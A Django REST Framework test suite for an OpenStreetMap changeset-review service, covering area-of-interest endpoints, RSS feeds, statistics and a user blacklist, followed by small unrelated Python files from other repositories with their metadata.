[ "BSD-2-Clause" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals import xml.etree.ElementTree as ET from django.urls import reverse from django.contrib.gis.geos import MultiPolygon, Polygon, Point, LineString from rest_framework.test import APITestCase from social_django.models import UserSocialAuth from ...changeset.tests.modelfactories import ( ChangesetFactory, HarmfulChangesetFactory, GoodChangesetFactory, SuspicionReasonsFactory, TagFactory, UserWhitelistFactory ) from ...users.models import User from ..models import AreaOfInterest, BlacklistedUser class TestAoIListView(APITestCase): def setUp(self): self.m_polygon = MultiPolygon( Polygon(((0, 0), (0, 1), (1, 1), (0, 0))), Polygon(((1, 1), (1, 2), (2, 2), (1, 1))) ) self.m_polygon_2 = MultiPolygon( Polygon(((30, 30), (30, 31), (31, 31), (30, 30))), Polygon(((31, 31), (31, 32), (32, 32), (31, 31))) ) self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.user_2 = User.objects.create_user( username='test', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user_2, provider='openstreetmap', uid='42344', ) self.area = AreaOfInterest.objects.create( name='Best place in the world', user=self.user, geometry=self.m_polygon, filters={ 'editor': 'Potlatch 2', 'harmful': 'False', 'geometry': self.m_polygon.geojson }, ) self.area_2 = AreaOfInterest.objects.create( name='Another AOI', user=self.user, filters={'geometry': self.m_polygon_2.geojson}, geometry=self.m_polygon_2 ) self.area_3 = AreaOfInterest.objects.create( user=self.user_2, name='Harmful edits', filters={'harmful': 'False'}, ) self.url = reverse('supervise:aoi-list-create') def test_list_view_unauthenticated(self): response = self.client.get(self.url) self.assertEqual(response.status_code, 401) def test_list_view(self): self.client.login(username=self.user.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.data.get('results').get('features')), 2) def test_ordering(self): self.client.login(username=self.user.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) # test default ordering is -date self.assertEqual( response.data.get('results').get('features')[0]['properties']['name'], 'Another AOI' ) # test ordering by date response = self.client.get(self.url, {'order_by': 'date'}) self.assertEqual( response.data.get('results').get('features')[0]['properties']['name'], 'Best place in the world' ) # test ordering by name response = self.client.get(self.url, {'order_by': '-name'}) self.assertEqual( response.data.get('results').get('features')[0]['properties']['name'], 'Best place in the world' ) def test_list_view_with_user_2(self): self.client.login(username=self.user_2.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.data.get('results').get('features')), 1) self.assertEqual( response.data.get('results')['features'][0]['properties']['name'], 'Harmful edits' ) self.assertEqual( response.data.get('results')['features'][0]['properties']['filters'], {'harmful': 'False'} ) class TestAoICreateView(APITestCase): def setUp(self): self.polygon = Polygon([[2, 0], [5, 0], [5, 2], [2, 2], [2, 0]]) self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.url = reverse('supervise:aoi-list-create') self.data = { 'name': 'Golfo da Guiné', 'filters': { 'is_suspect': 'True', 'geometry': self.polygon.geojson }, } self.data_bbox = { 'name': 'Golfo da Guiné', 'filters': { 'is_suspect': 'True', 'in_bbox': '2,0,5,2' }, } self.without_geo_aoi = { 'name': 'Unchecked suspect changesets', 'filters': { 'is_suspect': 'True', 'checked': 'False' }, } def test_create_AOI_unauthenticated(self): response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 401) self.assertEqual(AreaOfInterest.objects.count(), 0) def test_create_AOI(self): self.client.login(username=self.user.username, password='password') response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 201) self.assertEqual(AreaOfInterest.objects.count(), 1) aoi = AreaOfInterest.objects.get(name='Golfo da Guiné') self.assertEqual(aoi.user, self.user) self.assertEqual(aoi.filters, self.data.get('filters')) self.assertIsInstance(aoi.geometry, Polygon) self.assertTrue( aoi.geometry.intersects( Polygon([[2, 0], [5, 0], [5, 2], [2, 2], [2, 0]]) ) ) def test_create_without_geometry_and_bbox(self): self.client.login(username=self.user.username, password='password') response = self.client.post(self.url, self.without_geo_aoi) self.assertEqual(response.status_code, 201) self.assertEqual(AreaOfInterest.objects.count(), 1) aoi = AreaOfInterest.objects.get(name='Unchecked suspect changesets') self.assertEqual(aoi.user, self.user) self.assertEqual(aoi.filters, self.without_geo_aoi.get('filters')) def test_create_with_bbox(self): self.client.login(username=self.user.username, password='password') response = self.client.post(self.url, self.data_bbox) self.assertEqual(response.status_code, 201) self.assertEqual(AreaOfInterest.objects.count(), 1) aoi = AreaOfInterest.objects.get(name='Golfo da Guiné') self.assertEqual(aoi.user, self.user) self.assertEqual(aoi.filters, self.data_bbox.get('filters')) self.assertIsInstance(aoi.geometry, Polygon) self.assertTrue( aoi.geometry.intersects( Polygon([[2, 0], [5, 0], [5, 2], [2, 2], [2, 0]]) ) ) def test_validation(self): self.client.login(username=self.user.username, password='password') response = self.client.post(self.url, {'name': 'Empty AoI'}) self.assertEqual(response.status_code, 400) self.assertEqual(AreaOfInterest.objects.count(), 0) # test validation of unique name of AoI for each user response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 201) response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 400) def test_auto_user_field(self): user_2 = User.objects.create_user( username='test', email='c@a.com', password='password' ) UserSocialAuth.objects.create( user=user_2, provider='openstreetmap', uid='4444', ) self.client.login(username=self.user.username, password='password') response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 201) aoi = AreaOfInterest.objects.get(name='Golfo da Guiné') self.assertEqual(aoi.user, self.user) class TestAoIDetailAPIViews(APITestCase): def setUp(self): self.m_polygon = MultiPolygon( Polygon(((0, 0), (0, 1), (1, 1), (0, 0))), Polygon(((1, 1), (1, 2), (2, 2), (1, 1))) ) self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.aoi = AreaOfInterest.objects.create( name='Best place in the world', user=self.user, geometry=self.m_polygon, filters={ 'editor': 'Potlatch 2', 'harmful': 'False', 'users': 'test', 'uids': '234,43', 'checked_by': 'qa_user', 'geometry': self.m_polygon.geojson }, ) self.m_polygon_2 = MultiPolygon( Polygon([[2, 0], [5, 0], [5, 2], [2, 2], [2, 0]]) ) self.data = { 'filters': { 'is_suspect': 'True', 'geometry': self.m_polygon_2.geojson, }, 'name': 'Golfo da Guiné' } def test_unauthenticated(self): response = self.client.get( reverse('supervise:aoi-detail', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 401) def test_retrieve_detail_authenticated(self): self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-detail', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 200) self.assertEqual( response.data['properties']['name'], 'Best place in the world' ) self.assertEqual( response.data['properties']['filters'], { 'editor': 'Potlatch 2', 'harmful': 'False', 'users': 'test', 'uids': '234,43', 'checked_by': 'qa_user', 'geometry': self.m_polygon.geojson } ) self.assertEqual( response.data['geometry']['type'], 'MultiPolygon' ) self.assertIn( 'id', response.data.keys() ) self.assertNotIn( 'user', response.data.keys() ) self.assertEqual( response.data['properties']['changesets_url'], reverse('supervise:aoi-list-changesets', args=[self.aoi.pk]) ) def test_update_aoi_unauthenticated(self): """Unauthenticated users can not update AoI""" response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), self.data ) self.assertEqual(response.status_code, 401) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Best place in the world') response = self.client.patch( reverse('supervise:aoi-detail', args=[self.aoi.pk]), self.data ) self.assertEqual(response.status_code, 401) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Best place in the world') def test_delete_aoi_unauthenticated(self): """Unauthenticated users can not delete AoI""" response = self.client.delete( reverse('supervise:aoi-detail', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 401) self.assertEqual(AreaOfInterest.objects.count(), 1) def test_update_aoi_of_another_user(self): """A user can not update AoI of another user.""" user = User.objects.create_user( username='test_2', email='c@a.com', password='password' ) self.client.login(username=user.username, password='password') response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), self.data ) self.assertEqual(response.status_code, 403) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Best place in the world') response = self.client.patch( reverse('supervise:aoi-detail', args=[self.aoi.pk]), self.data ) self.assertEqual(response.status_code, 403) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Best place in the world') def test_delete_aoi_of_another_user(self): """A user can not delete AoI of another user.""" user = User.objects.create_user( username='test_2', email='c@a.com', password='password' ) self.client.login(username=user.username, password='password') response = self.client.delete( reverse('supervise:aoi-detail', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 403) self.assertEqual(AreaOfInterest.objects.count(), 1) def test_update_with_aoi_owner_user(self): """User can update his/her AoI""" self.client.login(username=self.user.username, password='password') response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), self.data ) self.assertEqual(response.status_code, 200) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Golfo da Guiné') self.assertEqual(self.aoi.filters, self.data.get('filters')) self.assertTrue( self.aoi.geometry.intersects( Polygon(((4, 0), (5, 0), (5, 1), (4, 0))) ) ) def test_put_update_with_bbox(self): """'in_bbox' field must populate the geometry field with a Polygon""" data = { 'filters': { 'is_suspect': 'True', 'in_bbox': '4,0,5,1' }, 'name': 'Golfo da Guiné' } self.client.login(username=self.user.username, password='password') response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), data ) self.assertEqual(response.status_code, 200) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Golfo da Guiné') self.assertEqual(self.aoi.filters, data.get('filters')) self.assertTrue( self.aoi.geometry.intersects( Polygon(((4, 0), (5, 0), (5, 1), (4, 0))) ) ) self.assertIsInstance(self.aoi.geometry, Polygon) def test_put_empty_geometry(self): """If the AoI receives a filter without geometry and in_bbox information, the geometry field will be updated to None.""" data = { 'filters': { 'is_suspect': 'True', }, 'name': 'Golfo da Guiné' } self.client.login(username=self.user.username, password='password') response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), data ) self.assertEqual(response.status_code, 200) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Golfo da Guiné') self.assertEqual(self.aoi.filters, data.get('filters')) self.assertIsNone(self.aoi.geometry) def test_patch_empty_geometry(self): """If the AoI receives a filter without geometry and in_bbox information, the geometry field will be updated to None.""" data = { 'filters': { 'is_suspect': 'True', }, 'name': 'Golfo da Guiné' } self.client.login(username=self.user.username, password='password') response = self.client.patch( reverse('supervise:aoi-detail', args=[self.aoi.pk]), data ) self.assertEqual(response.status_code, 200) self.aoi.refresh_from_db() self.assertEqual(self.aoi.name, 'Golfo da Guiné') self.assertEqual(self.aoi.filters, data.get('filters')) self.assertIsNone(self.aoi.geometry) def test_patch_update_with_bbox(self): """'in_bbox' field must populate the geometry field with a Polygon""" data = { 'filters': { 'is_suspect': 'True', 'in_bbox': '4,0,5,1' } } self.client.login(username=self.user.username, password='password') response = self.client.patch( reverse('supervise:aoi-detail', args=[self.aoi.pk]), data ) self.assertEqual(response.status_code, 200) self.aoi.refresh_from_db() self.assertEqual(self.aoi.filters, data.get('filters')) self.assertIsInstance(self.aoi.geometry, Polygon) self.assertTrue( self.aoi.geometry.intersects( Polygon(((4, 0), (5, 0), (5, 1), (4, 0))) ) ) def test_update_with_line_and_point(self): """The geometry field must receive any geometry type.""" point = Point((0.5, 0.5)) data = { 'filters': { 'geometry': point.geojson, }, 'name': 'Golfo da Guiné' } self.client.login(username=self.user.username, password='password') response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), data ) self.assertEqual(response.status_code, 200) self.aoi.refresh_from_db() self.assertIsInstance(self.aoi.geometry, Point) line = LineString(((0.5, 0.5), (1, 1))) data = { 'filters': { 'geometry': line.geojson, }, 'name': 'Golfo da Guiné' } response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), data ) self.assertEqual(response.status_code, 200) self.aoi.refresh_from_db() self.assertIsInstance(self.aoi.geometry, LineString) def test_validation(self): self.client.login(username=self.user.username, password='password') response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), self.data ) self.assertEqual(response.status_code, 200) # validate if the user are not allowed to let the filters and geometry fields empty response = self.client.put( reverse('supervise:aoi-detail', args=[self.aoi.pk]), {'name': 'Golfo da Guiné'} ) self.assertEqual(response.status_code, 400) self.aoi.refresh_from_db() self.assertIsNotNone(self.aoi.filters) self.assertIsNotNone(self.aoi.geometry) def test_delete_with_aoi_owner_user(self): self.client.login(username=self.user.username, password='password') response = self.client.delete( reverse('supervise:aoi-detail', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 204) self.assertEqual(AreaOfInterest.objects.count(), 0) class TestAoIChangesetListView(APITestCase): def setUp(self): self.m_polygon = MultiPolygon( Polygon(((0, 0), (0, 1), (1, 1), (0, 0))), Polygon(((1, 1), (1, 2), (2, 2), (1, 1))) ) self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.aoi = AreaOfInterest.objects.create( name='Best place in the world', user=self.user, geometry=self.m_polygon, filters={ 'editor': 'Potlatch 2', 'harmful': 'False', 'geometry': self.m_polygon.geojson }, ) def test_authenticated_aoi_list_changesets_view(self): ChangesetFactory(bbox=Polygon(((10, 10), (10, 11), (11, 11), (10, 10)))) ChangesetFactory( editor='JOSM 1.5', harmful=False, bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) ChangesetFactory.create_batch( 51, harmful=False, bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-list-changesets', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 200) self.assertEqual(response.data['count'], 51) self.assertEqual(len(response.data['features']), 50) self.assertIn('features', response.data.keys()) self.assertIn('geometry', response.data['features'][0].keys()) self.assertIn('properties', response.data['features'][0].keys()) self.assertIn('check_user', response.data['features'][0]['properties']) self.assertIn('user', response.data['features'][0]['properties']) self.assertIn('uid', response.data['features'][0]['properties']) def test_unauthenticated_aoi_list_changesets_view(self): response = self.client.get( reverse('supervise:aoi-list-changesets', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 401) def test_aoi_with_in_bbox_filter(self): aoi_with_in_bbox = AreaOfInterest.objects.create( name='Another place in the world', user=self.user, geometry=Polygon(((0, 0), (0, 2), (2, 2), (2, 0), (0, 0))), filters={ 'editor': 'Potlatch 2', 'harmful': 'False', 'in_bbox': '0,0,2,2' }, ) ChangesetFactory( harmful=False, bbox=Polygon(((10, 10), (10, 11), (11, 11), (10, 10))) ) ChangesetFactory( editor='JOSM 1.5', harmful=False, bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) ChangesetFactory.create_batch( 51, harmful=False, bbox=Polygon(((10, 10), (10, 10.5), (10.7, 10.5), (10, 10))), ) ChangesetFactory.create_batch( 51, harmful=False, bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-list-changesets', args=[aoi_with_in_bbox.pk]) ) self.assertEqual(response.status_code, 200) self.assertEqual(response.data['count'], 51) self.assertEqual(len(response.data['features']), 50) def test_aoi_with_hide_whitelist_filter(self): aoi = AreaOfInterest.objects.create( name='Another place in the world', user=self.user, filters={ 'editor': 'Potlatch 2', 'hide_whitelist': 'True' }, ) UserWhitelistFactory(user=self.user, whitelist_user='test') ChangesetFactory() ChangesetFactory(user='other_user', uid='333') ChangesetFactory(user='another_user', uid='4333') self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-list-changesets', args=[aoi.pk]) ) self.assertEqual(response.status_code, 200) self.assertEqual(response.data['count'], 2) self.assertEqual(len(response.data['features']), 2) def test_aoi_with_false_hide_whitelist_filter(self): aoi = AreaOfInterest.objects.create( name='Another place in the world', user=self.user, filters={ 'editor': 'Potlatch 2', 'hide_whitelist': 'False' }, ) UserWhitelistFactory(user=self.user, whitelist_user='test') ChangesetFactory() ChangesetFactory(user='other_user', uid='333') ChangesetFactory(user='another_user', uid='4333') self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-list-changesets', args=[aoi.pk]) ) self.assertEqual(response.status_code, 200) self.assertEqual(response.data['count'], 3) self.assertEqual(len(response.data['features']), 3) def test_aoi_with_blacklist_filter(self): aoi = AreaOfInterest.objects.create( name='Another place in the world', user=self.user, filters={ 'editor': 'Potlatch 2', 'blacklist': 'True' }, ) BlacklistedUser.objects.create( username='test', uid='123123', added_by=self.user, ) ChangesetFactory() ChangesetFactory(user='other_user', uid='333') ChangesetFactory(user='another_user', uid='4333') self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-list-changesets', args=[aoi.pk]) ) self.assertEqual(response.status_code, 200) self.assertEqual(response.data['count'], 1) self.assertEqual(len(response.data['features']), 1) def test_aoi_with_false_blacklist_filter(self): aoi = AreaOfInterest.objects.create( name='Another place in the world', user=self.user, filters={ 'editor': 'Potlatch 2', 'blacklist': 'False' }, ) BlacklistedUser.objects.create( username='test', uid='123123', added_by=self.user, ) ChangesetFactory() ChangesetFactory(user='other_user', uid='333') ChangesetFactory(user='another_user', uid='4333') self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-list-changesets', args=[aoi.pk]) ) self.assertEqual(response.status_code, 200) self.assertEqual(response.data['count'], 3) self.assertEqual(len(response.data['features']), 3) def test_aoi_changesets_feed_view(self): ChangesetFactory(bbox=Polygon(((10, 10), (10, 11), (11, 11), (10, 10)))) ChangesetFactory( editor='JOSM 1.5', harmful=False, bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) GoodChangesetFactory.create_batch( 51, comment='Test case', user='çãoéí', bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-changesets-feed', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 200) rss_data = ET.fromstring(response.content).getchildren()[0].getchildren() title = [i for i in rss_data if i.tag == 'title'][0] items = [i for i in rss_data if i.tag == 'item'] self.assertEqual( title.text, 'Changesets of Area of Interest {} by {}'.format( self.aoi.name, self.aoi.user.username ) ) self.assertEqual(len(items), 50) def test_feed_view_of_unnamed_aoi_and_zero_changesets(self): ChangesetFactory(bbox=Polygon(((10, 10), (10, 11), (11, 11), (10, 10)))) HarmfulChangesetFactory( editor='JOSM 1.5', bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) self.aoi.name = '' self.aoi.filters = { 'editor': 'JOSM 1.5', 'harmful': 'True', 'in_bbox': '0,0,2,2' } self.aoi.save() self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:aoi-changesets-feed', args=[self.aoi.pk]) ) self.assertEqual(response.status_code, 200) rss_data = ET.fromstring(response.content).getchildren()[0].getchildren() title = [i for i in rss_data if i.tag == 'title'][0] items = [i for i in rss_data if i.tag == 'item'] self.assertEqual( title.text, 'Changesets of Area of Interest Unnamed by {}'.format( self.aoi.user.username ) ) self.assertEqual(len(items), 1) class TestAoIStatsAPIViews(APITestCase): def setUp(self): self.m_polygon = MultiPolygon( Polygon(((0, 0), (0, 1), (1, 1), (0, 0))), Polygon(((1, 1), (1, 2), (2, 2), (1, 1))) ) self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password', is_staff=True ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.aoi = AreaOfInterest.objects.create( name='Best place in the world', user=self.user, geometry=self.m_polygon, filters={ 'editor': 'Potlatch 2', 'harmful': 'False', 'geometry': self.m_polygon.geojson }, ) ChangesetFactory(bbox=Polygon(((10, 10), (10, 11), (11, 11), (10, 10)))) HarmfulChangesetFactory( editor='JOSM 1.5', bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) self.good_changesets = GoodChangesetFactory.create_batch( 51, bbox=Polygon(((0, 0), (0, 0.5), (0.7, 0.5), (0, 0))), ) self.reason = SuspicionReasonsFactory(name='possible import') self.reason_2 = SuspicionReasonsFactory( name='Mass Deletion', is_visible=False) self.reason.changesets.set(self.good_changesets[0:5]) self.reason_2.changesets.set(self.good_changesets[5:10]) self.tag_1 = TagFactory(name='Vandalism') self.tag_2 = TagFactory(name='Big buildings', is_visible=False) self.tag_1.changesets.set(self.good_changesets[0:5]) self.tag_2.changesets.set(self.good_changesets[5:10]) self.url = reverse('supervise:aoi-stats', args=[self.aoi.pk]) def test_stats_unauthenticated(self): response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('checked_changesets'), 51) self.assertEqual(response.data.get('harmful_changesets'), 0) self.assertEqual(response.data.get('users_with_harmful_changesets'), 0) self.assertEqual(len(response.data.get('reasons')), 1) self.assertEqual(len(response.data.get('tags')), 1) possible_import = { 'name': 'possible import', 'changesets': 5, 'checked_changesets': 5, 'harmful_changesets': 0 } self.assertIn(possible_import, response.data.get('reasons')) vandalism = { 'name': 'Vandalism', 'changesets': 5, 'checked_changesets': 5, 'harmful_changesets': 0 } self.assertIn(vandalism, response.data.get('tags')) def test_stats_with_staff_user(self): self.client.login(username=self.user.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('checked_changesets'), 51) self.assertEqual(response.data.get('harmful_changesets'), 0) self.assertEqual(response.data.get('users_with_harmful_changesets'), 0) self.assertEqual(len(response.data.get('reasons')), 2) self.assertEqual(len(response.data.get('tags')), 2) possible_import = { 'name': 'possible import', 'changesets': 5, 'checked_changesets': 5, 'harmful_changesets': 0 } self.assertIn(possible_import, response.data.get('reasons')) vandalism = { 'name': 'Vandalism', 'changesets': 5, 'checked_changesets': 5, 'harmful_changesets': 0 } self.assertIn(vandalism, response.data.get('tags')) mass_deletion = { 'name': 'Mass Deletion', 'changesets': 5, 'checked_changesets': 5, 'harmful_changesets': 0 } self.assertIn(mass_deletion, response.data.get('reasons')) big_buildings = { 'name': 'Big buildings', 'changesets': 5, 'checked_changesets': 5, 'harmful_changesets': 0 } self.assertIn(big_buildings, response.data.get('tags')) class TestBlacklistedUserListAPIView(APITestCase): def setUp(self): self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.staff_user = User.objects.create_user( username='staff_user', email='b@a.com', password='password', is_staff=True ) UserSocialAuth.objects.create( user=self.staff_user, provider='openstreetmap', uid='999898', ) BlacklistedUser.objects.create( username='Bad User', uid='3434', added_by=self.staff_user, ) BlacklistedUser.objects.create( username='Vandal', uid='3435', added_by=self.staff_user, ) BlacklistedUser.objects.create( username='New bad user', uid='9888', added_by=self.user, ) self.url = reverse('supervise:blacklist-list-create') def test_list_view_unauthenticated(self): response = self.client.get(self.url) self.assertEqual(response.status_code, 401) def test_list_view_normal_user(self): self.client.login(username=self.user.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.data.get('results')), 1) def test_list_view_staff_user(self): self.client.login(username=self.staff_user.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.data.get('results')), 2) class TestBlacklistedUserCreateAPIView(APITestCase): def setUp(self): self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.staff_user = User.objects.create_user( username='staff_user', email='b@a.com', password='password', is_staff=True ) UserSocialAuth.objects.create( user=self.staff_user, provider='openstreetmap', uid='999898', ) self.url = reverse('supervise:blacklist-list-create') self.data = {'username': 'Bad User', 'uid': '3434'} def test_create_view_unauthenticated(self): response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 401) self.assertEqual(BlacklistedUser.objects.count(), 0) def test_create_view_normal_user(self): self.client.login(username=self.user.username, password='password') response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 201) self.assertEqual(BlacklistedUser.objects.count(), 1) def test_create_view_staff_user(self): self.client.login(username=self.staff_user.username, password='password') response = self.client.post(self.url, self.data) self.assertEqual(response.status_code, 201) self.assertEqual(BlacklistedUser.objects.count(), 1) class TestBlacklistedUserDetailAPIViews(APITestCase): def setUp(self): self.user = User.objects.create_user( username='test_user', email='b@a.com', password='password' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.staff_user = User.objects.create_user( username='staff_user', email='b@a.com', password='password', is_staff=True ) UserSocialAuth.objects.create( user=self.staff_user, provider='openstreetmap', uid='999898', ) self.blacklisted = BlacklistedUser.objects.create( username='Bad User', uid='3434', added_by=self.staff_user, ) self.blacklisted_2 = BlacklistedUser.objects.create( username='Bad User', uid='3434', added_by=self.user, ) self.url = reverse( 'supervise:blacklist-detail', args=[self.blacklisted.uid] ) def test_unauthenticated_get(self): response = self.client.get(self.url) self.assertEqual(response.status_code, 401) def test_normal_user_get(self): self.client.login(username=self.user.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('username'), 'Bad User') self.assertEqual(response.data.get('added_by'), 'test_user') self.assertIsNotNone(response.data.get('uid')) self.assertIn('date', response.data.keys()) def test_normal_user_getting_staff_user_blacklist(self): blacklisted = BlacklistedUser.objects.create( username='Bad User', uid='4999', added_by=self.staff_user, ) self.client.login(username=self.user.username, password='password') response = self.client.get( reverse('supervise:blacklist-detail', args=[4999]) ) self.assertEqual(response.status_code, 404) def test_staff_user_get(self): self.client.login(username=self.staff_user.username, password='password') response = self.client.get(self.url) self.assertEqual(response.status_code, 200) self.assertEqual(response.data.get('username'), 'Bad User') self.assertEqual(response.data.get('added_by'), 'staff_user') self.assertIsNotNone(response.data.get('uid')) self.assertIn('date', response.data.keys()) def test_unauthenticated_delete(self): response = self.client.delete(self.url) self.assertEqual(response.status_code, 401) self.assertEqual(BlacklistedUser.objects.count(), 2) def test_normal_user_delete(self): self.client.login(username=self.user.username, password='password') response = self.client.delete(self.url) self.assertEqual(response.status_code, 204) self.assertEqual(BlacklistedUser.objects.count(), 1) def test_staff_user_delete(self): self.client.login(username=self.staff_user.username, password='password') response = self.client.delete(self.url) self.assertEqual(response.status_code, 204) self.assertEqual(BlacklistedUser.objects.count(), 1) def test_unauthenticated_patch(self): response = self.client.patch(self.url, {'username': 'other_user'}) self.assertEqual(response.status_code, 401) self.assertEqual(self.blacklisted.username, 'Bad User') def test_normal_user_patch(self): self.client.login(username=self.user.username, password='password') response = self.client.patch(self.url, {'username': 'other_user'}) self.assertEqual(response.status_code, 200) self.blacklisted_2.refresh_from_db() self.assertEqual(self.blacklisted_2.username, 'other_user') def test_staff_user_patch(self): self.client.login(username=self.staff_user.username, password='password') response = self.client.patch(self.url, {'username': 'other_user'}) self.assertEqual(response.status_code, 200) self.blacklisted.refresh_from_db() self.assertEqual(self.blacklisted.username, 'other_user')

37.854969

91

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0.056678

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py

Python

b_hello/hello.py

cclai999/pytest-0706

1707a3b4fefee2d97a1f9fbccda80f859e2933cb

[ "MIT" ]

null

b_hello/hello.py

cclai999/pytest-0706

1707a3b4fefee2d97a1f9fbccda80f859e2933cb

[ "MIT" ]

null

b_hello/hello.py

cclai999/pytest-0706

1707a3b4fefee2d97a1f9fbccda80f859e2933cb

[ "MIT" ]

null

def hello_name(name): return f'Hello {name}'

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py

Python

civet/__init__.py

PMKielstra/Civet

1731a1b1e670a082dfcbf545f3431a79d7954411

[ "MIT" ]

3

2020-06-27T21:33:53.000Z

2020-07-03T07:39:46.000Z

civet/__init__.py

PMKielstra/Civet

1731a1b1e670a082dfcbf545f3431a79d7954411

[ "MIT" ]

null

civet/__init__.py

PMKielstra/Civet

1731a1b1e670a082dfcbf545f3431a79d7954411

[ "MIT" ]

null

from .civet import Civet from .building_blocks import * from .builtin_scenario_sources import * from .builtin_analyzers import * from .builtin_outputs import *

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py

Python

tests/test_dic.py

narupo/janome

9304d45ce8e0ed7094284d478b318c02ccbe6408

[ "Apache-2.0" ]

748

2015-02-14T12:13:59.000Z

2022-03-27T23:16:47.000Z

tests/test_dic.py

narupo/janome

9304d45ce8e0ed7094284d478b318c02ccbe6408

[ "Apache-2.0" ]

87

2015-04-09T02:36:14.000Z

2022-03-23T06:15:29.000Z

tests/test_dic.py

narupo/janome

9304d45ce8e0ed7094284d478b318c02ccbe6408

[ "Apache-2.0" ]

66

2015-04-11T04:42:28.000Z

2022-03-27T16:14:30.000Z

# Copyright 2015 moco_beta # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import sys import unittest from janome.sysdic import all_fstdata, entries, mmap_entries, connections, chardef, unknowns from janome.dic import ( SystemDictionary, MMapSystemDictionary, UserDictionary, CompiledUserDictionary, FILE_USER_FST_DATA, FILE_USER_ENTRIES_DATA ) from janome.progress import SimpleProgressIndicator, logger as p_logger # TODO: better way to find package... parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0, parent_dir) class TestDictionary(unittest.TestCase): def test_system_dictionary_ipadic(self): sys_dic = SystemDictionary(all_fstdata(), entries(), connections, chardef.DATA, unknowns.DATA) 